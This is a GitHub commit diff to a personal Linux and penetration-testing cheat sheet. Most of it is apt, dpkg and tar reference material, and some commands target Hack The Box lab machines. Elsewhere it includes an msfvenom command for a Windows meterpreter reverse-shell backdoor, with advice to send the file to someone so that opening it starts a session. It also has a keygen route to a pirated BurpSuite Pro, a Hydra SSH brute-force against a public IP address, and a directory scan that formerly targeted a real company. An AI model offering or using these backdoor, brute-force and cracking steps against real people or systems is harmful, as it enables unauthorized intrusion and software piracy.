Skip to content

Commit aa87958

Browse files
Update LinuxCheatSheet
Updated 'Apt' section with a few new commands and explanations How to uncompress with tar added 'First things to do after installing Linux:'
1 parent eeedc67 commit aa87958

File tree

1 file changed

+98
-15
lines changed

1 file changed

+98
-15
lines changed

LinuxCheatSheet

Lines changed: 98 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,81 @@
1-
How To Quickly Get Linux Up-To-Speed Cuz You Fucked It Up Again:
2-
sudo apt-get clean
3-
sudo apt-get update
4-
sudo apt-get upgrade -y
5-
sudo apt-get dist-upgrade -y
6-
sudo apt-get full-upgrade -y
7-
sudo apt-get install git
8-
sudo apt install python3-pip
9-
sudo apt-get update && sudo apt-get upgrade -y && sudo apt-get dist-upgrade -y && sudo apt-get full-upgrade -y
1+
How to update/upgrade Linux:
2+
What does APT do?
3+
4+
APT (Advanced Packaging Tool) is a set of core tools found inside the Debian operating system. It provides utilities for the installation and removal of software packages and dependencies on a system.
5+
6+
apt is a subset of apt-get and apt-cache commands providing necessary commands for package management.
7+
while apt-get won’t be deprecated, as a regular user, you should start using apt more often.
8+
9+
sudo apt install
10+
Installs a package
11+
12+
sudo apt remove
13+
Removes a package
14+
15+
sudo apt purge
16+
Removes package with configuration
17+
18+
sudo apt update
19+
Refreshes repository index
20+
21+
sudo apt upgrade
22+
Upgrades all upgradable packages
23+
24+
sudo apt autoremove
25+
Removes unwanted packages
26+
27+
sudo apt full-upgrade
28+
Upgrades packages with auto-handling of dependencies
29+
30+
sudo apt search
31+
Searches for a program
32+
33+
sudo apt show
34+
Shows package details
35+
36+
sudo apt list
37+
Lists packages with criteria (installed, upgradable etc)
38+
39+
sudo apt edit-sources
40+
edits sources list
41+
42+
sudo apt clean
43+
The clean command clears out the local repository of downloaded package files. It removes everything except the partials folder and lock file from /var/cache/apt/archives/. Use apt clean to free up disk space when necessary, or as part of regularly scheduled maintenance.
44+
45+
sudo apt autoclean
46+
autoclean is another method used to clear out the local repository of downloaded package files, just like clean. The difference between clean and autoclean is that the latter only removes package files that can no longer be downloaded from their sources, and are very likely to be useless.
47+
48+
sudo apt update && sudo apt upgrade -y && sudo apt full-upgrade -y && sudo apt autoremove -y
49+
===========================================================================================================================
50+
First things to do after installing Linux:
51+
1. Download and Install Latest Updates
52+
sudo apt update && sudo apt upgrade
53+
2. Install GNOME Tweak Tool
54+
sudo apt install gnome-tweak-tool
55+
3. Install Git
56+
sudo apt install git
57+
4. Install PIP
58+
sudo apt install python3-pip
59+
5. Install GNOME Extensions
60+
Just go to https://extensions.gnome.org/ to download and install your preferred extensions.
61+
6. Play with Different Desktop Environment
62+
To try MATE, run following command in Terminal.
63+
sudo apt install Ubuntu-mate-desktop
64+
65+
To try Cinnamon, run following command in Terminal.
66+
sudo apt-get install cinnamon-desktop-environment
67+
68+
To try KDE, run following command in Terminal.
69+
sudo apt-get install kde-standard
70+
71+
72+
73+
===========================================================================================================================
74+
How to install a dpkg:
75+
76+
dpkg is a tool for installing, removing, and querying individual packages.
77+
78+
dpkg -i ~/Downloads/file.deb
1079
===========================================================================================================================
1180
How to fix HTB openvpn connection issue:
1281
# vim /etc/sysctl.conf
@@ -36,12 +105,19 @@ Free BurpSuite Pro installation:
36105
2. Run 'BurpSuite Loader & Keygen'
37106
3. Press 'run' in upper right hand corner and Burpsuite will load
38107
===========================================================================================================================
39-
How to install dpkg:
40-
dpkg -i ~/Downloads/file.deb
108+
41109
===========================================================================================================================
42-
<h1>Routersploit:</h1>
110+
How to uncompress with tar:
111+
112+
-x = extract
113+
-z = gzipped archive
114+
-f = get from a file (must be the last command)
115+
116+
'sudo tar -xzf utorrent-server-3.0-ubuntu-10.10-27079.tar.gz'
117+
===========================================================================================================================
118+
Routersploit:
43119

44-
<h3>Install:</h3>
120+
Install:
45121
sudo apt-get install python-dev python-pip libncurses5-dev git
46122
git clone https://github.com/reverse-shell/routersploit
47123
cd routersploit
@@ -218,7 +294,7 @@ Command line options for dir mode
218294
-P <password> – HTTP Authorization password (Basic Auth only, prompted if missing).
219295
-U <username> – HTTP Authorization username (Basic Auth only).
220296
-to <timeout> – HTTP timeout. Examples: 10s, 100ms, 1m (default: 10s).
221-
"gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u https://www.tesla.com"
297+
"gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u https://10.10.10.84"
222298
===========================================================================================================================
223299
#Wfuzz:
224300

@@ -415,7 +491,7 @@ Priv: Timestomp Commands
415491
timestomp Manipulate file MACE attributes
416492

417493
Creating an executable backdoor with Metasploit:
418-
"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.141 -f exe -o payload.exe"
494+
"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.141 LPORT=4444 -f exe -o payload.exe"
419495
The backdoor.exe file is saved in the path where you executed the command. Upload this file to GitHub or send it to someone, once they open it, your meterpreter session will start
420496

421497
LHOST= Your IP
@@ -560,6 +636,13 @@ Crunch Wordlist:
560636
crunch 4 4 012345abcdef -o Documents/pass.txt
561637
===========================================================================================================================
562638
Hydra:
639+
Install hydra with the following commands:
640+
$ git clone https://github.com/vanhauser-thc/thc-hydra.git
641+
$ cd thc-hydra/
642+
$ ./configure
643+
$ make
644+
$ make install
645+
563646
hydra -l admin -P /home/kali/htb/nineveh/10k 10.10.10.43 http-post-form "/department/login.php:username=^user^&password=^PASS^:Invalid" -t 64
564647

565648
hydra -l root -p admin 69.167.51.201 -t 4 ssh

0 commit comments

Comments
 (0)